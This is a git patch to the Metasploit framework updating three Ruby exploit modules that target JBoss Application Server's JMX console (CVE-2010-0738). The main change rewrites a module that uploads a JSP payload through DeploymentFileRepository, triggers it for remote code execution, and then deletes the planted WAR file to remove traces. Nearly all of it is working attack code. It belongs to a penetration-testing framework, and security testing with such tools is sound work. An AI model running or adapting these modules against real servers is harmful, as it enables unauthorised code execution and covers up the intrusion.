From 099b90b0d6d1b3f3cf7d0f8470d605743d909506 Mon Sep 17 00:00:00 2001 From: Joshua Drake Date: Wed, 23 Jun 2010 22:25:03 +0000 Subject: [PATCH] another update for jboss stuff, thanks Patrick! git-svn-id: file:///home/svn/framework3/trunk@9596 4d416f70-5f16-0410-b530-b9f4589650da --- .../exploits/multi/http/jboss_bshdeployer.rb | 3 +- .../http/jboss_deploymentfilerepository.rb | 173 ++++++++++++------ .../exploits/multi/http/jboss_maindeployer.rb | 7 +- 3 files changed, 121 insertions(+), 62 deletions(-) diff --git a/modules/exploits/multi/http/jboss_bshdeployer.rb b/modules/exploits/multi/http/jboss_bshdeployer.rb index 995e3c8f7e..176adcaf83 100644 --- a/modules/exploits/multi/http/jboss_bshdeployer.rb +++ b/modules/exploits/multi/http/jboss_bshdeployer.rb @@ -75,6 +75,7 @@ class Metasploit3 < Msf::Exploit::Remote verb = 'HEAD' end + p = payload if datastore['SHELL'] == 'automatic' if not (plat = detect_platform()) raise RuntimeError, 'Unable to detect platform!' @@ -92,7 +93,7 @@ class Metasploit3 < Msf::Exploit::Remote # Payload generation already happened, therefore SHELL will # already be 'automatic' in the payload regardless of what we set above. # To fix this, we regenerate the payload now.. - return if ((p = regenerate_payload(cli)) == nil) + return if ((p = regenerate_payload(platform, target_arch)) == nil) end # The following Beanshell script will write the exploded WAR file to the deploy/ diff --git a/modules/exploits/multi/http/jboss_deploymentfilerepository.rb b/modules/exploits/multi/http/jboss_deploymentfilerepository.rb index fec69cfceb..83ccc88e55 100644 --- a/modules/exploits/multi/http/jboss_deploymentfilerepository.rb +++ b/modules/exploits/multi/http/jboss_deploymentfilerepository.rb @@ -18,48 +18,53 @@ class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpClient def initialize(info = {}) - super(update_info(info, - 'Name' => 'JBoss Java Class DeploymentFileRepository WAR deployment', - 'Description' => %q{ - This module uses the DeploymentFileRepository class in + super(update_info(info, + 'Name' => 'JBoss Java Class DeploymentFileRepository WAR deployment', + 'Description' => %q{ + This module uses the DeploymentFileRepository class in JBoss Application Server (jbossas) to deploy a JSP file in a minimal WAR context. - }, - 'Author' => [ 'MC', 'Jacob Giannantonio', 'Patrick Hof' ], - 'License' => MSF_LICENSE, - 'Version' => '$Revision$', - 'References' => - [ - [ 'CVE', '2010-0738' ], # by using VERB other than GET/POST - [ 'URL', 'http://www.redteam-pentesting.de/publications/jboss' ] - ], - 'Privileged' => false, - 'Platform' => ['linux', 'windows' ], - 'Targets' => - [ - [ 'Universal', - { - 'Arch' => ARCH_JAVA, - 'Payload' => + }, + 'Author' => [ 'MC', 'Jacob Giannantonio', 'Patrick Hof' ], + 'License' => MSF_LICENSE, + 'Version' => '$Revision$', + 'References' => + [ + [ 'CVE', '2010-0738' ], # by using VERB other than GET/POST + [ 'URL', 'http://www.redteam-pentesting.de/publications/jboss' ] + ], + 'Privileged' => false, + 'Platform' => ['linux', 'windows' ], + 'Targets' => + [ + [ 'Universal', { - 'DisableNops' => true, - }, - } - ], - ], - 'DefaultTarget' => 0)) + 'Arch' => ARCH_JAVA, + 'Payload' => + { + 'DisableNops' => true, + }, + } + ], + ], + 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(8080), OptString.new('SHELL', [ true, "The system shell to use.", 'automatic']), - OptString.new('PATH', [ true, "Deployment path", rand_text_alphanumeric(8+rand(8))]), - OptString.new('JSP', [ true, "JSP filename (without .jsp extension)", rand_text_alphanumeric(8+rand(8))]), + OptString.new('JSP', [ false, 'JSP name to use without .jsp extension (default: random)', nil ]), + OptString.new('APPBASE', [ false, 'Application base name, (default: random)', nil ]), + OptString.new('PATH', [ true, 'The URI path of the JMX console', '/jmx-console' ]), OptString.new('VERB', [ true, "The HTTP verb to use", "POST"]), ], self.class) end def exploit + jsp_name = datastore['JSP'] || rand_text_alphanumeric(8+rand(8)) + app_base = datastore['APPBASE'] || rand_text_alphanumeric(8+rand(8)) + + p = payload if datastore['SHELL'] == 'automatic' if not (plat = detect_platform()) raise RuntimeError, 'Unable to detect platform!' @@ -74,75 +79,129 @@ class Metasploit3 < Msf::Exploit::Remote print_status("SHELL set to #{datastore['SHELL']}") - return if ((p = regenerate_payload(cli)) == nil) + return if ((p = regenerate_payload(plat, target_arch)) == nil) end + + # + # UPLOAD + # data = 'action=invokeOpByName' data << '&name=jboss.admin%3Aservice%3DDeploymentFileRepository' data << '&methodName=store' data << '&argType=java.lang.String' - data << '&arg0=' + Rex::Text.uri_encode(datastore['PATH']) + '.war' + data << '&arg0=' + Rex::Text.uri_encode(app_base) + '.war' data << '&argType=java.lang.String' - data << '&arg1=' + datastore['JSP'] + data << '&arg1=' + jsp_name data << '&argType=java.lang.String' data << '&arg2=.jsp' data << '&argType=java.lang.String' - data << '&arg3=' + Rex::Text.uri_encode(payload.encoded) + data << '&arg3=' + Rex::Text.uri_encode(p.encoded) data << '&argType=boolean' data << '&arg4=True' if (datastore['VERB'] == "POST") res = send_request_cgi( { - 'uri' => '/jmx-console/HtmlAdaptor', + 'uri' => datastore['PATH'] + '/HtmlAdaptor', 'method' => datastore['VERB'], 'data' => data }, 5) else res = send_request_cgi( { - 'uri' => '/jmx-console/HtmlAdaptor;index.jsp?' + data, + 'uri' => datastore['PATH'] + '/HtmlAdaptor;index.jsp?' + data, 'method' => datastore['VERB'], }, 5) end + # + # EXECUTE + # # Using HEAD may trigger a 500 Internal Server Error (at leat on 4.2.3.GA), # but the file still gets written. if (res.code == 200 || res.code == 500) - uri = '/' + datastore['PATH'] + '/' + datastore['JSP'] + '.jsp' + uri = '/' + app_base + '/' + jsp_name + '.jsp' print_status("Triggering payload at '#{uri}'...") verb = 'GET' if (datastore['VERB'] != 'GET' and datastore['VERB'] != 'POST') verb = 'HEAD' end - # JBoss might need some time for the deployment. Try 5 times at most - # and sleep 3 seconds in between. - 5.times do - res = send_request_raw( - { - 'uri' => uri, - 'method' => verb, - }) - if !res - print_error("Execution failed on '#{uri}' [No Response], retrying...") - select(nil,nil,nil,3) - elsif (res.code < 200 or res.code >= 300) - print_error("Execution failed on '#{uri}' [#{res.code} #{res.message}], retrying...") - select(nil,nil,nil,3) - elsif res.code == 200 - print_status("Successfully triggered payload at '#{uri}'.") - break + # JBoss might need some time for the deployment. Try 5 times at most + # and sleep 3 seconds in between. + 5.times do + res = send_request_raw( + { + 'uri' => uri, + 'method' => verb, + }) + if !res + print_error("Execution failed on '#{uri}' [No Response], retrying...") + select(nil,nil,nil,3) + elsif (res.code < 200 or res.code >= 300) + print_error("Execution failed on '#{uri}' [#{res.code} #{res.message}], retrying...") + select(nil,nil,nil,3) + elsif res.code == 200 + print_status("Successfully triggered payload at '#{uri}'.") + break + else + print_error("Denied...") end end - else - print_error("Denied...") + + # + # DELETE + # + # The WAR can only be removed by physically deleting it, otherwise it + # will get redeployed after a server restart. + print_status("Undeploying #{uri} by deleting the WAR file via DeploymentFileRepository.remove()...") + res1 = delete_file(Rex::Text.uri_encode(app_base) + '.war', jsp_name, '.jsp') + res2 = delete_file('./', Rex::Text.uri_encode(app_base) + '.war', '') + [res1, res2].each do |res| + if !res + print_error("WARNING: Unable to remove WAR [No Response]") + end + if (res.code < 200 || res.code >= 300) + print_error("WARNING: Unable to remove WAR [#{res.code} #{res.message}]") + end + end + + handler end - handler + end + + # Delete a file with DeploymentFileRepository.remove(). + def delete_file(folder, name, ext) + data = 'action=invokeOpByName' + data << '&name=jboss.admin%3Aservice%3DDeploymentFileRepository' + data << '&methodName=remove' + data << '&argType=java.lang.String' + data << '&arg0=' + folder + data << '&argType=java.lang.String' + data << '&arg1=' + name + data << '&argType=java.lang.String' + data << '&arg2=' + ext + + if (datastore['VERB'] == "POST") + res = send_request_cgi( + { + 'uri' => datastore['PATH'] + '/HtmlAdaptor', + 'method' => datastore['VERB'], + 'data' => data + }, 5) + else + res = send_request_cgi( + { + 'uri' => datastore['PATH'] + '/HtmlAdaptor;index.jsp?' + data, + 'method' => datastore['VERB'], + }, 5) + end + res end def detect_platform print_status("Attempting to automatically detect the platform...") - path = '/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.system:type=ServerInfo' + path = datastore['PATH'] + '/HtmlAdaptor?action=inspectMBean&name=jboss.system:type=ServerInfo' res = send_request_raw( { 'uri' => path, diff --git a/modules/exploits/multi/http/jboss_maindeployer.rb b/modules/exploits/multi/http/jboss_maindeployer.rb index 30432b1191..19df418fb5 100644 --- a/modules/exploits/multi/http/jboss_maindeployer.rb +++ b/modules/exploits/multi/http/jboss_maindeployer.rb @@ -39,7 +39,7 @@ class Metasploit3 < Msf::Exploit::Remote [ 'URL', 'http://www.redteam-pentesting.de/publications/jboss' ] ], 'Privileged' => true, - 'Platform' => [ 'win', 'linux' ], + 'Platform' => [ 'win', 'linux', 'java' ], 'Stance' => Msf::Exploit::Stance::Aggressive, 'Targets' => [ @@ -138,6 +138,7 @@ class Metasploit3 < Msf::Exploit::Remote else print_status("Using manually select target \"#{mytarget.name}\"") end + arch = mytarget.arch # Find out which shell if we're using a Java target if (mytarget.name =~ /Java/) @@ -153,15 +154,13 @@ class Metasploit3 < Msf::Exploit::Remote end print_status("SHELL set to #{datastore['SHELL']}") - else # set arch/platform from the target - arch = mytarget['Arch'] plat = [Msf::Module::PlatformList.new(mytarget['Platform']).platforms[0]] end # We must regenerate the payload in case our auto-magic changed something. - return if ((p = regenerate_payload(cli)) == nil) + return if ((p = regenerate_payload(plat, arch)) == nil) # Generate the WAR containing the payload if (mytarget.name =~ /Java/)